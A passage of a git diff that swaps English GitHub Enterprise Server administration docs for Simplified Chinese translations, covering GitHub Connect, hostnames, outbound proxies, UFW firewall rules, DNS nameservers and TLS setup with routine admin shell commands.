搜索结果。 不支持在 {% data variables.product.prodname_dotcom_the_website %} 中进行高级搜索和搜索 Wiki。 -## Enabling {% data variables.enterprise.prodname_unified_search %} +## 启用 {% data variables.product.prodname_unified_search %} -Before you can enable {% data variables.enterprise.prodname_unified_search %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." +在启用 {% data variables.product.prodname_unified_search %} 之前,必须启用 {% data variables.product.prodname_github_connect %}。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)”。 -{% ifversion ghes %} -{% data reusables.github-connect.access-dotcom-and-enterprise %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} -{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. Sign into {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. - ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) -1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. - ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) +1. 在“用户可以搜索 {% data variables.product.prodname_dotcom_the_website %}”下,使用下拉菜单并单击“启用”。 + ![在搜索 GitHub.com 下拉菜单中启用搜索选项](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. 或者,在“用户可以在 {% data variables.product.prodname_dotcom_the_website %} 上搜索专用存储库”下,使用下拉菜单并单击“启用”。 + ![在搜索 GitHub.com 下拉菜单中启用专用存储库搜索选项](/assets/images/enterprise/site-admin-settings/enable-private-search.png) diff --git a/translations/zh-CN/content/admin/configuration/configuring-github-connect/index.md b/translations/zh-CN/content/admin/configuration/configuring-github-connect/index.md index f0cbe3aeab..a2635ef77f 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-github-connect/index.md +++ b/translations/zh-CN/content/admin/configuration/configuring-github-connect/index.md @@ -1,6 +1,6 @@ --- -title: Configuring GitHub Connect -intro: 'With {% data variables.product.prodname_github_connect %}, you can access additional features and workflows by connecting {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' +title: 配置 GitHub Connect +intro: '使用 {% data variables.product.prodname_github_connect %},可以通过将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_ghe_cloud %} 来访问其他功能和工作流。' redirect_from: - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com @@ -25,5 +25,11 @@ children: - /enabling-unified-search-for-your-enterprise - /enabling-unified-contributions-for-your-enterprise shortTitle: GitHub Connect +ms.openlocfilehash: 6d0be48b952a7bb9abb5c439b5ab276e0b886ec8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100093' --- diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md index 3d37a2c2dc..0957255055 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md @@ -1,6 +1,6 @@ --- -title: Configuring a hostname -intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address. +title: 配置主机名 +intro: 我们建议为您的设备设置主机名,不建议使用硬编码 IP 地址。 redirect_from: - /enterprise/admin/guides/installation/configuring-hostnames - /enterprise/admin/installation/configuring-a-hostname @@ -13,27 +13,27 @@ topics: - Enterprise - Fundamentals - Infrastructure +ms.openlocfilehash: 120827f8eca8061d90d397a7e2a21d46ae33f243 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '146681315' --- -If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.location.product_location %} runs on without affecting users or client software. +如果配置的是主机名,而不是硬编码 IP 地址,你将能够更改运行 {% data variables.product.product_location %} 的物理硬件,而不会影响用户或客户端软件。 -The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` Web and API requests will automatically redirect to the hostname configured in the {% data variables.enterprise.management_console %}. Note that `localhost` is not a valid hostname setting. +{% data variables.enterprise.management_console %} 中的主机名设置应设置为合适的完全限定域名 (FQDN),此域名可在互联网上或您的内部网络内解析。 例如,你的主机名设置可能是 `github.companyname.com.` Web 和 API 请求将自动重定向到 {% data variables.enterprise.management_console %} 中配置的主机名。 请注意,`localhost` 不是有效的主机名设置。 -Hostnames must be less than 63 characters in length per [Section 2.3.4 of the Domain Names Specification RFC](https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4). +配置主机名后,可以启用子域隔离以进一步提高 {% data variables.product.product_location %} 的安全性。 有关详细信息,请参阅“[启用子域隔离](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)”。 -After you configure a hostname, you can enable subdomain isolation to further increase the security of {% data variables.location.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)." - -For more information on the supported hostname types, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2). +有关支持的主机名类型的详细信息,请参阅 [HTTP RFC 第 2.1 节](https://tools.ietf.org/html/rfc1123#section-2)。 {% data reusables.enterprise_installation.changing-hostname-not-supported %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -4. Type the hostname you'd like to set for {% data variables.location.product_location %}. - ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png) -5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**. - ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png) -{% data reusables.enterprise_management_console.test-domain-settings-failure %} -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.hostname-menu-item %} +4. 键入要为 {% data variables.product.product_location %} 设置的主机名。 + ![用于设置主机名的字段](/assets/images/enterprise/management-console/hostname-field.png) +5. 要测试新主机名的 DNS 和 SSL 设置,请单击“测试域设置”。 + ![“测试域设置”按钮](/assets/images/enterprise/management-console/test-domain-settings.png) {% data reusables.enterprise_management_console.test-domain-settings-failure %} {% data reusables.enterprise_management_console.save-settings %} -To help mitigate various cross-site scripting vulnerabilities, we recommend that you enable subdomain isolation for {% data variables.location.product_location %} after you configure a hostname. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)." +为了帮助缓解各种跨站点脚本漏洞,我们建议您在配置主机名后为 {% data variables.product.product_location %} 启用子域隔离。 有关详细信息,请参阅“[启用子域隔离](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)”。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md index 0bf9da396a..5cd6b41368 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md @@ -1,6 +1,6 @@ --- -title: Configuring an outbound web proxy server -intro: 'A proxy server provides an additional level of security for {% data variables.location.product_location %}.' +title: 配置出站 Web 代理服务器 +intro: '代理服务器为 {% data variables.product.product_location %} 额外提供了一级安全性。' redirect_from: - /enterprise/admin/guides/installation/configuring-a-proxy-server - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server @@ -15,29 +15,32 @@ topics: - Infrastructure - Networking shortTitle: Configure an outbound proxy +ms.openlocfilehash: 4285f24dd45d127efec4ace66729bf6fd1f188c5 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147875991' --- +## 关于 {% data variables.product.product_name %} 的代理 -## About proxies with {% data variables.product.product_name %} - -When a proxy server is enabled for {% data variables.location.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`. +为 {% data variables.product.product_location %} 启用代理服务器后,除非已将目标主机添加为 HTTP 代理排除项,否则会先通过代理服务器发送由 {% data variables.product.prodname_ghe_server %} 发送的出站消息。 出站消息类型包括传出 web 挂钩、上传包和提取旧头像。 代理服务器的 URL 由协议、域或 IP 地址外加端口号构成,例如 `http://127.0.0.1:8123`。 {% note %} -**Note:** To connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +注意:若要将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %},代理配置必须允许与 `github.com` 和 `api.github.com` 的连接。 有关详细信息,请参阅“[将企业帐户连接到 {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)”。 {% endnote %} -{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." +{% data reusables.actions.proxy-considerations %} 有关将 {% data variables.product.prodname_actions %} 与 {% data variables.product.prodname_ghe_server %} 结合使用的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)”。 -## Configuring an outbound web proxy server +## 配置出站 Web 代理服务器 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Under **HTTP Proxy Server**, type the URL of your proxy server. - ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} +1. 在“HTTP 代理服务器”下,键入代理服务器的 URL。 + ![用于输入 HTTP 代理服务器 URL 的字段](/assets/images/enterprise/management-console/http-proxy-field.png) -5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix. For example: `.octo-org.tentacle` - ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png) +5. 或者在“HTTP 代理排除项”下输入不需要进行代理访问权限的任意主机,并以逗号分隔主机。 要将域中的所有主机排除在“需要代理访问权限”的要求之外,可以使用 `.` 作为通配符前缀。 例如:`.octo-org.tentacle` + ![键入任何 HTTP 代理排除项的字段](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md index 7a0088680e..01ed795aa4 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md @@ -1,6 +1,6 @@ --- -title: Configuring built-in firewall rules -intro: 'You can view default firewall rules and customize rules for {% data variables.location.product_location %}.' +title: 配置内置防火墙规则 +intro: '可以查看默认防火墙规则并自定义 {% data variables.product.product_location %} 的规则。' redirect_from: - /enterprise/admin/guides/installation/configuring-firewall-settings - /enterprise/admin/installation/configuring-built-in-firewall-rules @@ -15,19 +15,25 @@ topics: - Infrastructure - Networking shortTitle: Configure firewall rules +ms.openlocfilehash: 7492f69c6b334847229c76f7462beaabbc4154a2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145100090' --- -## About {% data variables.location.product_location %}'s firewall +## 关于 {% data variables.product.product_location %} 的防火墙 -{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release. +{% data variables.product.prodname_ghe_server %} 在虚拟设备上使用 Ubuntu 的简单防火墙 (UFW)。 有关详细信息,请参阅 Ubuntu 文档中的 [UFW](https://help.ubuntu.com/community/UFW)。 {% data variables.product.prodname_ghe_server %} 在每次发布时都会自动更新允许服务的防火墙允许名单。 -After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)." +安装 {% data variables.product.prodname_ghe_server %} 之后,所有必要的网络端口都会自动打开,以接受连接。 每个非必要的端口都会自动配置为 `deny`,默认传出策略会配置为 `allow`。 会为任何新连接启用状态跟踪;这些连接通常是设置了 `SYN` 位的网络数据包。 有关详细信息,请参阅“[网络端口](/enterprise/admin/guides/installation/network-ports)”。 -The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213). +UFW 防火墙还会打开 {% data variables.product.prodname_ghe_server %} 所需的其他多个端口才能正常运行。 有关 UFW 规则集的详细信息,请参阅 [UFW 自述文件](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213)。 -## Viewing the default firewall rules +## 查看默认防火墙规则 {% data reusables.enterprise_installation.ssh-into-instance %} -2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this: +2. 若要查看默认防火墙规则,请使用 `sudo ufw status` 命令。 此时会看到与下面类似的输出: ```shell $ sudo ufw status > Status: active @@ -55,46 +61,46 @@ The UFW firewall also opens several other ports that are required for {% data va > ghe-9418 (v6) ALLOW Anywhere (v6) ``` -## Adding custom firewall rules +## 添加自定义防火墙规则 {% warning %} -**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server. +警告:在添加自定义防火墙规则之前,请备份当前规则,以便在需要时可以重置为已知的工作状态。 如果您被锁定在服务器之外,请与 {% data variables.contact.contact_ent_support %} 联系,以重新配置原始防火墙规则。 恢复原始防火墙规则会导致服务器停机。 {% endwarning %} -1. Configure a custom firewall rule. -2. Check the status of each new rule with the `status numbered` command. +1. 配置自定义防火墙规则。 +2. 使用 `status numbered` 命令检查每条新规则的状态。 ```shell $ sudo ufw status numbered ``` -3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file. +3. 要备份自定义防火墙规则,请使用 `cp` 命令将规则移动到新文件。 ```shell $ sudo cp -r /etc/ufw ~/ufw.backup ``` -After you upgrade {% data variables.location.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules. +升级 {% data variables.product.product_location %} 后,必须重新应用自定义防火墙规则。 我们建议您创建脚本来重新应用防火墙自定义规则。 -## Restoring the default firewall rules +## 恢复默认防火墙规则 -If something goes wrong after you change the firewall rules, you can reset the rules from your original backup. +如果更改防火墙规则后出现问题,您可以通过原始备份重置规则。 {% warning %} -**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance. +警告:如果对防火墙进行更改之前未备份原始规则,请联系 {% data variables.contact.contact_ent_support %} 获取更多帮助。 {% endwarning %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. To restore the previous backup rules, copy them back to the firewall with the `cp` command. +2. 要还原之前的备份规则,请使用 `cp` 命令将规则复制到防火墙。 ```shell $ sudo cp -f ~/ufw.backup/*rules /etc/ufw ``` -3. Restart the firewall with the `systemctl` command. +3. 使用 `systemctl` 命令重启防火墙。 ```shell $ sudo systemctl restart ufw ``` -4. Confirm that the rules are back to their defaults with the `ufw status` command. +4. 使用 `ufw status` 命令确认规则已恢复为默认状态。 ```shell $ sudo ufw status > Status: active diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md index 04ddd6fa9e..d5963bdaef 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md @@ -1,6 +1,6 @@ --- -title: Configuring DNS nameservers -intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.' +title: 配置 DNS 域名服务器 +intro: '在 DHCP 租约提供域名服务器时,{% data variables.product.prodname_ghe_server %} 将为 DNS 设置使用动态主机配置协议 (DHCP)。 如果域名服务器不是由动态主机配置协议 (DHCP) 租约提供,或者您需要使用特定的 DNS 设置,可以手动指定域名服务器。' redirect_from: - /enterprise/admin/guides/installation/about-dns-nameservers - /enterprise/admin/installation/configuring-dns-nameservers @@ -15,28 +15,34 @@ topics: - Infrastructure - Networking shortTitle: Configure DNS servers +ms.openlocfilehash: b01dc25b9002bf1feb672bbce597c8046b93f12f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147419711' --- -The nameservers you specify must resolve {% data variables.location.product_location %}'s hostname. +指定的名称服务器必须解析 {% data variables.product.product_location %} 的主机名。 {% data reusables.enterprise_installation.changing-hostname-not-supported %} -## Configuring nameservers using the virtual machine console +## 使用虚拟机控制台配置域名服务器 {% data reusables.enterprise_installation.open-vm-console-start %} -2. Configure nameservers for your instance. +2. 为实例配置域名服务器。 {% data reusables.enterprise_installation.vm-console-done %} -## Configuring nameservers using the administrative shell +## 使用管理 shell 配置域名服务器 {% data reusables.enterprise_installation.ssh-into-instance %} -2. To edit your nameservers, use the `ghe-setup-network` command in visual mode. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-setup-network)." +2. 要编辑名称服务器,请在可视模式下使用 `ghe-setup-network` 命令。 有关详细信息,请参阅“[命令行实用工具](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-setup-network)”。 ```shell ghe-setup-network -v ``` -5. To add your new nameserver entries to {% data variables.location.product_location %}, run the following: +5. 要向 {% data variables.product.product_location %} 添加新的域名服务器条目,请运行以下命令: ```shell sudo service resolvconf restart diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md index bebfbb14fe..35f0184250 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md @@ -1,6 +1,6 @@ --- -title: Configuring TLS -intro: 'You can configure Transport Layer Security (TLS) on {% data variables.location.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.' +title: 配置 TLS +intro: '你可以在 {% data variables.product.product_location %} 上配置传输层安全性 (TLS),以便使用由可信证书颁发机构签名的证书。' redirect_from: - /enterprise/admin/articles/ssl-configuration - /enterprise/admin/guides/installation/about-tls @@ -16,70 +16,68 @@ topics: - Infrastructure - Networking - Security +ms.openlocfilehash: c11f78b69f5b251a63c0796d46bca4d6c926f002 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146682331' --- -## About Transport Layer Security +## 关于传输层安全 -TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt. +当 {% data variables.product.prodname_ghe_server %} 首次启动时,会启用 TLS(替代了 SSL)并通过自签名证书进行配置。 由于自签名证书不受 Web 浏览器和 Git 客户端的信任,因此这些客户端将报告证书警告,直至您禁用 TLS 或上传由 Let's Encrypt 等可信颁发机构签名的证书。 -The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia. +{% data variables.product.prodname_ghe_server %} 设备将在 SSL 启用时发送 HTTP 严格传输安全标头。 禁用 TLS 会导致用户无法访问设备,因为用户的浏览器将不允许协议降级为 HTTP。 有关详细信息,请参阅维基百科上的“[HTTP 严格传输安全 (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)”。 {% data reusables.enterprise_installation.terminating-tls %} -To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." +要允许用户使用 FIDO U2F 进行双重身份验证,您必须为实例启用 TLS。 有关详细信息,请参阅“[配置双因素身份验证](/articles/configuring-two-factor-authentication)”。 -## Prerequisites +## 先决条件 -To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority. +要在生产中使用 TLS,您必须具有由可信证书颁发机构签名的未加密 PEM 格式的证书。 -Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia. +证书还需要为“[启用子域隔离](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)”中列出的子域配置使用者可选名称,如果证书已由中间证书颁发机构签名,将需要包含完整的证书链。 有关详细信息,请参阅维基百科上的“[使用者可选名称](http://en.wikipedia.org/wiki/SubjectAltName)”。 -You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)." +可使用 `ghe-ssl-generate-csr` 命令为实例生成证书签名请求 (CSR)。 有关详细信息,请参阅“[命令行实用程序](/enterprise/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)”。 -Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)". +密钥必须是 RSA 密钥,并且不能有密码。 有关详细信息,请参阅“[从密钥文件中删除密码](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)。 -## Uploading a custom TLS certificate +## 上传自定义 TLS 证书 {% data reusables.enterprise_site_admin_settings.tls-downtime %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -{% data reusables.enterprise_management_console.select-tls-only %} -4. Under "TLS Protocol support", select the protocols you want to allow. - ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png) -5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension. - ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png) -6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension. - ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} {% data reusables.enterprise_management_console.select-tls-only %} +4. 在“TLS Protocol support”下,选择您想要允许的协议。 + ![包含用于选择 TLS 协议的选项的单选按钮](/assets/images/enterprise/management-console/tls-protocol-support.png) +5. 在“证书”下,单击“选择文件”以选择要安装的 TLS 证书或证书链(PEM 格式)。 此文件通常采用 .pem、.crt 或 .cer 扩展名 。 + ![用于查找 TLS 证书文件的按钮](/assets/images/enterprise/management-console/install-tls-certificate.png) +6. 在“未加密密钥”下,单击“选择文件”以选择要安装的 RSA 密钥(PEM 格式)。 此文件通常采用 .key 扩展名。 + ![用于查找 TLS 密钥文件的按钮](/assets/images/enterprise/management-console/install-tls-key.png) {% data reusables.enterprise_management_console.save-settings %} -## About Let's Encrypt support +## 关于 Let's Encrypt 支持 -Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance. +Let's Encrypt 是公共证书颁发机构,他们使用 ACME 协议颁发受浏览器信任的免费、自动化 TLS 证书。 您可以在设备上自动获取并续订 Let's Encrypt 证书,无需手动维护。 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %} -When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.location.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests. +在使用 Let's Encrypt 启用 TLS 证书管理自动化后,{% data variables.product.product_location %} 将与 Let's Encrypt 服务器通信,以获取证书。 要续订证书,Let's Encrypt 服务器必须通过入站 HTTP 请求验证已配置域名的控制。 -You can also use the `ghe-ssl-acme` command line utility on {% data variables.location.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-ssl-acme)." +还可以在 {% data variables.product.product_location %} 上使用 `ghe-ssl-acme` 命令行实用程序自动生成 Let's Encrypt 证书。 有关详细信息,请参阅“[命令行实用程序](/enterprise/admin/guides/installation/command-line-utilities#ghe-ssl-acme)”。 -## Configuring TLS using Let's Encrypt +## 使用 Let's Encrypt 配置 TLS {% data reusables.enterprise_installation.lets-encrypt-prerequisites %} {% data reusables.enterprise_site_admin_settings.tls-downtime %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -{% data reusables.enterprise_management_console.select-tls-only %} -5. Select **Enable automation of TLS certificate management using Let's Encrypt**. - ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} -{% data reusables.enterprise_management_console.privacy %} -7. Click **Request TLS certificate**. - ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png) -8. Wait for the "Status" to change from "STARTED" to "DONE". - ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png) -9. Click **Save configuration**. +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} {% data reusables.enterprise_management_console.select-tls-only %} +5. 选择“使用 Let's Encrypt 启用 TLS 证书管理自动化”。 + ![用于启用 Let's Encrypt 的复选框](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.enterprise_management_console.privacy %} +7. 单击“请求 TLS 证书”。 + ![“请求 TLS 证书”按钮](/assets/images/enterprise/management-console/request-tls-button.png) +8. 等待“状态”从“开始”更改为“完成”。 + ![Let's Encrypt 状态](/assets/images/enterprise/management-console/lets-encrypt-status.png) +9. 单击“保存配置”。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md 